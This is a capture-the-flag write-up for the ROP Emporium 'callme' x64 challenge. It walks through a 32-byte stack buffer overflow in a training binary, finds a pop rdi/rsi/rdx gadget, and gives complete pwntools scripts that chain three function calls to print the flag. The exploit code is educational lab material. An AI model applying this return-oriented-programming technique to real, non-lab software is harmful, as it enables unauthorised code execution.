Jason Turley's Website

Rop Emporium callme x64 Writeup

This challenge will test out ability to reliably make consecutive calls to imported functions. Below is an excerpt from the challenge:

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

Start by downloading the challenge zip file and unzipping it.

There is an executable named callme and a shared object (library code) called libcallme.so.

$ file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped

$ file libcallme.so 
libcallme.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=be0ff85ee2d8ff280e7bc612bb2a2709737e8881, not stripped

We see that the callme executable utilizes libcallme.so:

$ ldd ./callme 
        linux-vdso.so.1 (0x00007c1e6221a000)
        libcallme.so => ./libcallme.so (0x00007c1e61e00000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007c1e61c14000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007c1e6221c000)

Ok, let’s run the binary:

$ ./callme 
callme by ROP Emporium
x86_64

Hope you read the instructions...

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault (core dumped)

Just like before, we are prompted for input and can cause a segfault. The goal of this challenge is to call three functions callme_one, callme_two, and callme_three in order, each with the arguments 0xdeadbeefdeadbeef, 0xcafebabecafebabe and 0xd00df00dd00df00d.

Let’s find and take note of the addresses for these three functions. You can use objdump -D -M intel callme | grep callme to get the addresses, or use rabin2.

$ rabin2 -i callme | grep callme
3   0x004006f0 GLOBAL FUNC       callme_three
7   0x00400720 GLOBAL FUNC       callme_one
10  0x00400740 GLOBAL FUNC       callme_two 

Debugging

Open the program in gdb and disassemble the vulnerable pwnme function. Note: I’ve added comments to explain what the assembly is doing.

gef➤  disass pwnme
Dump of assembler code for function pwnme:
   0x0000000000400898 <+0>:     push   rbp                      ; set up stack frame
   0x0000000000400899 <+1>:     mov    rbp,rsp
   0x000000000040089c <+4>:     sub    rsp,0x20 
   0x00000000004008a0 <+8>:     lea    rax,[rbp-0x20]           ; char buf[0x20]
   0x00000000004008a4 <+12>:    mov    edx,0x20                 
   0x00000000004008a9 <+17>:    mov    esi,0x0
   0x00000000004008ae <+22>:    mov    rdi,rax                  ; call memset to zero out buf
   0x00000000004008b1 <+25>:    call   0x400700 <memset@plt>    ; memset(&buf, 0, 0x20)
   0x00000000004008b6 <+30>:    mov    edi,0x4009f0             ; str = "Hope you read the instructions...\n"
   0x00000000004008bb <+35>:    call   0x4006d0 <puts@plt>      ; puts(str)
   0x00000000004008c0 <+40>:    mov    edi,0x400a13
   0x00000000004008c5 <+45>:    mov    eax,0x0
   0x00000000004008ca <+50>:    call   0x4006e0 <printf@plt>    ; printf("> ")
   0x00000000004008cf <+55>:    lea    rax,[rbp-0x20]
   0x00000000004008d3 <+59>:    mov    edx,0x200
   0x00000000004008d8 <+64>:    mov    rsi,rax
   0x00000000004008db <+67>:    mov    edi,0x0
   0x00000000004008e0 <+72>:    call   0x400710 <read@plt>      ; read(0, &buf, 0x200)
   0x00000000004008e5 <+77>:    mov    edi,0x400a16             ; str = "Thank you!"
   0x00000000004008ea <+82>:    call   0x4006d0 <puts@plt       ; puts(str)
   0x00000000004008ef <+87>:    nop
   0x00000000004008f0 <+88>:    leave
   0x00000000004008f1 <+89>:    ret
End of assembler dump.

So the pwnme function prints out some messages, read our input and stores it in a buffer on the stack. The buffer is 0x20 (32) bytes large, and the read function reads in up to 0x200 (512) bytes! This bug is what led to the buffer overflow and segfault earlier.

To exploit this binary, we need to overwrite the buffer and the base pointer (rbp) with junk and call the three target functions with three arguments.

Remember that in x64, the first three arguments to a function will be stored in the registers rdi, rsi, and rdx. There is a function in the callme executable named usefulGadgets that has the exact ROP gadgets we need!

gef➤  disass usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x000000000040093c <+0>:     pop    rdi
   0x000000000040093d <+1>:     pop    rsi
   0x000000000040093e <+2>:     pop    rdx
   0x000000000040093f <+3>:     ret
End of assembler dump.

Test Exploit

I am going to skip finding the offset to rsp since it is always 40 bytes in these challenges (a 32 byte buffer + 8 byte rbp).

#!/usr/bin/env python3
from pwn import *

io = process("./callme")

# usefulGadgets address
#   pop rdi; pop rsi; pop rdx; ret
rop_gadgets = p64(0x40093c)         

callme_one = p64(0x400720)

# Fill 32B buffer and rbp
payload = b"A" * 40              

# Load arguments for callme_one
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef) 
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)

# Call callme_one
payload += callme_one

io.sendline(payload)
print(io.clean().decode())

An run it

$ python3 exploit.py.bak 
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly

Sweet baby! We successfully loaded the arguments into the registers and utilized the rop gadgets to call the callme_one function! Let’s do the same for the other two functions. This should be easy since we can reuse the arguments and the rop gadgets.

Final Exploit

#!/usr/bin/env python3
from pwn import *

io = process("./callme")

# usefulGadgets address
#   pop rdi; pop rsi; pop rdx; ret
rop_gadgets = p64(0x40093c)         

callme_one = p64(0x400720)
callme_two = p64(0x400740)
callme_three = p64(0x4006f0)

# Fill 32B buffer and rbp
payload = b"A" * 40              

# Load arguments for callme_one
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef) 
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)

# Call callme_one
payload += callme_one

# Load arguments for callme_two
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef) 
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)

# Call callme_two
payload += callme_two

# Load arguments for callme_three
payload += rop_gadgets
payload += p64(0xdeadbeefdeadbeef) 
payload += p64(0xcafebabecafebabe)
payload += p64(0xd00df00dd00df00d)

# Call callme_three
payload += callme_three

# Send payload and print results
io.sendline(payload)
print(io.clean().decode())

Run it to get the flag

$ python3 exploit.py.bak 
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

Note that your addresses may be different. Happy hacking! :)